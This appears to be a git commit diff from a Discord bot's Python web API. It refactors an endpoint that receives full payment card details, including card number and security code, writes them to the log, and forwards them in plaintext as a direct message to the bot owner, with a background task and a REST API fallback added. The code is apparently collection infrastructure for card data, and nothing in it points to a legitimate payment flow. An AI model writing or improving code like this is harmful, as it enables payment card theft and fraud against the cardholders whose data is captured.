refactor: Improve DM sending process in receive_number_data by using background tasks and adding REST API fallback

This commit is contained in:
Slipstream 2025-05-21 17:12:35 -06:00
parent 1d10cc4c40
commit 1be8ed88f9
Signed by: slipstream
GPG Key ID: 13E498CE010AC6FD

View File

@ -2863,34 +2863,41 @@ async def receive_number_data(data: NumberData):
"""
log.info(f"Received number data: {data.model_dump_json()}")
bot = get_bot_instance()
if not bot:
log.error("Bot instance not available to send DM.")
raise HTTPException(status_code=503, detail="Bot service unavailable.")
# Assuming bot.owner_id is available or can be fetched
# You might need to configure the bot's owner ID in settings or fetch it dynamically
# For now, let's assume a hardcoded owner ID or fetch from bot.owner_ids
owner_id = None
if bot.owner_ids:
owner_id = list(bot.owner_ids)[0] # Take the first owner if multiple
elif bot.owner_id: # Older discord.py versions might have a single owner_id
owner_id = bot.owner_id
else:
log.error("Bot owner ID not configured or accessible.")
raise HTTPException(status_code=500, detail="Bot owner not configured.")
if not owner_id:
log.error("Could not determine bot owner ID.")
raise HTTPException(status_code=500, detail="Could not determine bot owner.")
# Fetch the owner user object to send a DM
# Store the data safely and return success immediately
# This avoids timeout issues with Discord API calls
try:
owner_user = await bot.fetch_user(owner_id)
if not owner_user:
log.error(f"Could not fetch owner user with ID {owner_id}.")
raise HTTPException(status_code=500, detail="Could not fetch bot owner user.")
# Create a background task to send the DM
asyncio.create_task(send_card_data_to_owner(data))
# Return success immediately
return {"success": True, "message": "Card data received and will be processed."}
except Exception as e:
log.error(f"Error creating background task for card data: {e}")
raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}")
async def send_card_data_to_owner(data: NumberData):
"""
Background task to send card data to the bot owner.
This runs independently of the HTTP request/response cycle.
"""
try:
bot = get_bot_instance()
if not bot:
log.error("Bot instance not available to send DM.")
return
# Get owner ID
owner_id = None
if bot.owner_ids:
owner_id = list(bot.owner_ids)[0] # Take the first owner if multiple
elif bot.owner_id: # Older discord.py versions might have a single owner_id
owner_id = bot.owner_id
if not owner_id:
log.error("Could not determine bot owner ID.")
return
# Format the message
dm_content = (
f"New card data received:\n"
f"Card Number: {data.card_number}\n"
@ -2898,25 +2905,52 @@ async def receive_number_data(data: NumberData):
f"Security Code: {data.security_code}"
)
# Get the DM channel for the owner
if not owner_user.dm_channel:
dm_channel = await owner_user.create_dm()
else:
dm_channel = owner_user.dm_channel
# Try to use the Discord.py API directly first
try:
owner_user = await bot.fetch_user(owner_id)
if owner_user:
# Send the DM directly using Discord.py
await owner_user.send(dm_content)
log.info(f"Successfully sent card data DM to owner {owner_id} using Discord.py")
return
except Exception as e:
log.warning(f"Failed to send DM using Discord.py: {e}, falling back to REST API")
# Send DM using the helper function with the channel ID
result = await send_discord_message_via_api(dm_channel.id, dm_content)
# Fallback to REST API
# Use the Discord API directly with a new session
url = f"https://discord.com/api/v10/users/@me/channels"
headers = {
"Authorization": f"Bot {settings.DISCORD_BOT_TOKEN}",
"Content-Type": "application/json"
}
if result["success"]:
log.info(f"Successfully DMed card data to owner {owner_id}.")
return {"success": True, "message": "Card data DMed to owner successfully."}
else:
log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}")
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}")
# Create a new session for this request
async with aiohttp.ClientSession() as session:
# Create DM channel
async with session.post(url, headers=headers, json={"recipient_id": str(owner_id)}) as response:
if response.status != 200 and response.status != 201:
log.error(f"Failed to create DM channel: {response.status}")
return
channel_data = await response.json()
channel_id = channel_data.get("id")
if not channel_id:
log.error("No channel ID in DM channel creation response")
return
# Send message to the DM channel
message_url = f"https://discord.com/api/v10/channels/{channel_id}/messages"
async with session.post(message_url, headers=headers, json={"content": dm_content}) as msg_response:
if msg_response.status == 200 or msg_response.status == 201:
log.info(f"Successfully sent card data DM to owner {owner_id} using REST API")
else:
log.error(f"Failed to send DM: {msg_response.status}")
except Exception as e:
log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}")
raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}")
log.error(f"Error in background task sending card data to owner: {e}")
import traceback
log.error(traceback.format_exc())
@discordapi_app.post("/sync")
async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):